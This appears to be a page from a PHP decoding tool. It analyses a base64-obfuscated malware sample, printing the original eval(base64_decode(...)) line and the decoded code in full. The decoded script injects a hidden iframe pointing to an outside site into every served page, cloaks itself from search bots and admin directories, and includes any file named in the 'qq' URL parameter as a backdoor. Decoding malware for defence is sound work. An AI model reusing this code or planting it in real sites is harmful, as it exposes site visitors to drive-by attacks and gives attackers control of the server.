Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('JElJSUlJSUlJSUlJSSA9ICc8ZGl2IHN0eWxlPSJkaXNwbGF5Om5vbmUiPiZuYnN..

Decoded Output download

$IIIIIIIIIIII = '<div style="display:none">&nbsp; &nbsp;<iframe fsdsdf="sdfdf" width="732" height="4051" src="http://grizzli-counter.com/id120/index.php"></iframe></div>'; function IIIIIIIIIIII($IIIIIIIIIIIl) { global $argv; $IIIIIIIIIIlI = dirname(getcwd() . '/' . $IIIIIIIIIIIl); $IIIIIIIIIIll = getcwd(); @chdir($IIIIIIIIIIlI); $IIIIIIIIIIlI = getcwd(); @chdir($IIIIIIIIIIll); return $IIIIIIIIIIlI; } function IIIIIIIIIIIl($IIIIIIIIIIl1) { if( strstr($IIIIIIIIIIl1, "Yandex/") != null || strstr($IIIIIIIIIIl1, "YaDirectBot") != null || strstr($IIIIIIIIIIl1, "James Bond") != null || strstr($IIIIIIIIIIl1, "Googlebot") != null || strstr($IIIIIIIIIIl1, "Mediapartners-Google") != null || strstr($IIIIIIIIIIl1, "StackRambler") != null || strstr($IIIIIIIIIIl1, "Slurp") != null || strstr($IIIIIIIIIIl1, "msnbot") != null ) { return true; } return false; } function IIIIIIIIIII1($IIIIIIIIIIlI) { $IIIIIIIIII1I = array('adm', 'pma', 'moder', 'cp'); $IIIIIIIIII1l = false; foreach ($IIIIIIIIII1I as $IIIIIIIIII11) { if(strstr($IIIIIIIIIIlI, $IIIIIIIIII11) != null) { $IIIIIIIIII1l = true; } } return $IIIIIIIIII1l; } function IIIIIIIIIIlI($IIIIIIIIIlII) { global $IIIIIIIIIIII, $_SERVER; $IIIIIIIIIlII = preg_replace('/<iframe.*style=.*hidden.*\/iframe[^>]*>/i', "", $IIIIIIIIIlII); $IIIIIIIIIlII = preg_replace('/<div.*style=.*display:none.*[^>]*>.*<iframe .*\/.*div[^>]*>/i', "", $IIIIIIIIIlII); $IIIIIIIIIlII = preg_replace('/<!-- ad --><script[^>]*>.*<\/script><!-- \/ad -->/i', "", $IIIIIIIIIlII); if(IIIIIIIIIIIl($_SERVER['HTTP_USER_AGENT']) == true || IIIIIIIIIII1(dirname($_SERVER['SCRIPT_NAME'])) == true) { return $IIIIIIIIIlII; } else { if(preg_match("/(<body[^>]*>)/i", $IIIIIIIIIlII) > 0) { return preg_replace("/(<body[^>]*>)/i", "$IIIIIIIIIlI1 
".$IIIIIIIIIIII, $IIIIIIIIIlII, 1); } else { return $IIIIIIIIIlII.$IIIIIIIIIIII; } } } if(@ob_start('IIIIIIIIIIlI') == true) { $IIIIIIIIIIIl = $_GET['qq']; @chdir(IIIIIIIIIIII($IIIIIIIIIIIl)); include($IIIIIIIIIIIl); } else { echo $IIIIIIIIIIII; }

Did this file decode correctly?

Original Code

<?php
eval(base64_decode('JElJSUlJSUlJSUlJSSA9ICc8ZGl2IHN0eWxlPSJkaXNwbGF5Om5vbmUiPiZuYnNwOyAmbmJzcDs8aWZyYW1lIGZzZHNkZj0ic2RmZGYiIHdpZHRoPSI3MzIiIGhlaWdodD0iNDA1MSIgc3JjPSJodHRwOi8vZ3JpenpsaS1jb3VudGVyLmNvbS9pZDEyMC9pbmRleC5waHAiPjwvaWZyYW1lPjwvZGl2Pic7IGZ1bmN0aW9uIElJSUlJSUlJSUlJSSgkSUlJSUlJSUlJSUlsKSB7IGdsb2JhbCAkYXJndjsgJElJSUlJSUlJSUlsSSA9IGRpcm5hbWUoZ2V0Y3dkKCkgLiAnLycgLiAkSUlJSUlJSUlJSUlsKTsgJElJSUlJSUlJSUlsbCA9IGdldGN3ZCgpOyBAY2hkaXIoJElJSUlJSUlJSUlsSSk7ICRJSUlJSUlJSUlJbEkgPSBnZXRjd2QoKTsgQGNoZGlyKCRJSUlJSUlJSUlJbGwpOyByZXR1cm4gJElJSUlJSUlJSUlsSTsgfSBmdW5jdGlvbiBJSUlJSUlJSUlJSWwoJElJSUlJSUlJSUlsMSkgeyBpZiggc3Ryc3RyKCRJSUlJSUlJSUlJbDEsICJZYW5kZXgvIikgIT0gbnVsbCB8fCBzdHJzdHIoJElJSUlJSUlJSUlsMSwgIllhRGlyZWN0Qm90IikgIT0gbnVsbCB8fCBzdHJzdHIoJElJSUlJSUlJSUlsMSwgIkphbWVzIEJvbmQiKSAhPSBudWxsIHx8IHN0cnN0cigkSUlJSUlJSUlJSWwxLCAiR29vZ2xlYm90IikgIT0gbnVsbCB8fCBzdHJzdHIoJElJSUlJSUlJSUlsMSwgIk1lZGlhcGFydG5lcnMtR29vZ2xlIikgIT0gbnVsbCB8fCBzdHJzdHIoJElJSUlJSUlJSUlsMSwgIlN0YWNrUmFtYmxlciIpICE9IG51bGwgfHwgc3Ryc3RyKCRJSUlJSUlJSUlJbDEsICJTbHVycCIpICE9IG51bGwgfHwgc3Ryc3RyKCRJSUlJSUlJSUlJbDEsICJtc25ib3QiKSAhPSBudWxsICkgeyByZXR1cm4gdHJ1ZTsgfSByZXR1cm4gZmFsc2U7IH0gZnVuY3Rpb24gSUlJSUlJSUlJSUkxKCRJSUlJSUlJSUlJbEkpIHsgJElJSUlJSUlJSUkxSSA9IGFycmF5KCdhZG0nLCAncG1hJywgJ21vZGVyJywgJ2NwJyk7ICRJSUlJSUlJSUlJMWwgPSBmYWxzZTsgZm9yZWFjaCAoJElJSUlJSUlJSUkxSSBhcyAkSUlJSUlJSUlJSTExKSB7IGlmKHN0cnN0cigkSUlJSUlJSUlJSWxJLCAkSUlJSUlJSUlJSTExKSAhPSBudWxsKSB7ICRJSUlJSUlJSUlJMWwgPSB0cnVlOyB9IH0gcmV0dXJuICRJSUlJSUlJSUlJMWw7IH0gZnVuY3Rpb24gSUlJSUlJSUlJSWxJKCRJSUlJSUlJSUlsSUkpIHsgZ2xvYmFsICRJSUlJSUlJSUlJSUksICRfU0VSVkVSOyAkSUlJSUlJSUlJbElJID0gcHJlZ19yZXBsYWNlKCcvPGlmcmFtZS4qc3R5bGU9LipoaWRkZW4uKlwvaWZyYW1lW14+XSo+L2knLCAiIiwgJElJSUlJSUlJSWxJSSk7ICRJSUlJSUlJSUlsSUkgPSBwcmVnX3JlcGxhY2UoJy88ZGl2LipzdHlsZT0uKmRpc3BsYXk6bm9uZS4qW14+XSo+Lio8aWZyYW1lIC4qXC8uKmRpdltePl0qPi9pJywgIiIsICRJSUlJSUlJSUlsSUkpOyAkSUlJSUlJSUlJbElJID0gcHJlZ19yZXBsYWNlKCcvPCEtLSBhZCAtLT48c2NyaXB0W14+XSo+Lio8XC9zY3JpcHQ+PCEtLSBcL2FkIC0tPi9pJywgIiIsICRJSUlJSUlJSUlsSUkpOyBpZihJSUlJSUlJSUlJSWwoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSA9PSB0cnVlIHx8IElJSUlJSUlJSUlJMShkaXJuYW1lKCRfU0VSVkVSWydTQ1JJUFRfTkFNRSddKSkgPT0gdHJ1ZSkgeyByZXR1cm4gJElJSUlJSUlJSWxJSTsgfSBlbHNlIHsgaWYocHJlZ19tYXRjaCgiLyg8Ym9keVtePl0qPikvaSIsICRJSUlJSUlJSUlsSUkpID4gMCkgeyByZXR1cm4gcHJlZ19yZXBsYWNlKCIvKDxib2R5W14+XSo+KS9pIiwgIiRJSUlJSUlJSUlsSTEgXG4iLiRJSUlJSUlJSUlJSUksICRJSUlJSUlJSUlsSUksIDEpOyB9IGVsc2UgeyByZXR1cm4gJElJSUlJSUlJSWxJSS4kSUlJSUlJSUlJSUlJOyB9IH0gfSBpZihAb2Jfc3RhcnQoJ0lJSUlJSUlJSUlsSScpID09IHRydWUpIHsgJElJSUlJSUlJSUlJbCA9ICRfR0VUWydxcSddOyBAY2hkaXIoSUlJSUlJSUlJSUlJKCRJSUlJSUlJSUlJSWwpKTsgaW5jbHVkZSgkSUlJSUlJSUlJSUlsKTsgfSBlbHNlIHsgZWNobyAkSUlJSUlJSUlJSUlJOyB9'));
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 56deec65b2be43cf86de2d66c97244fc
Eval Count 1
Decode Time 75 ms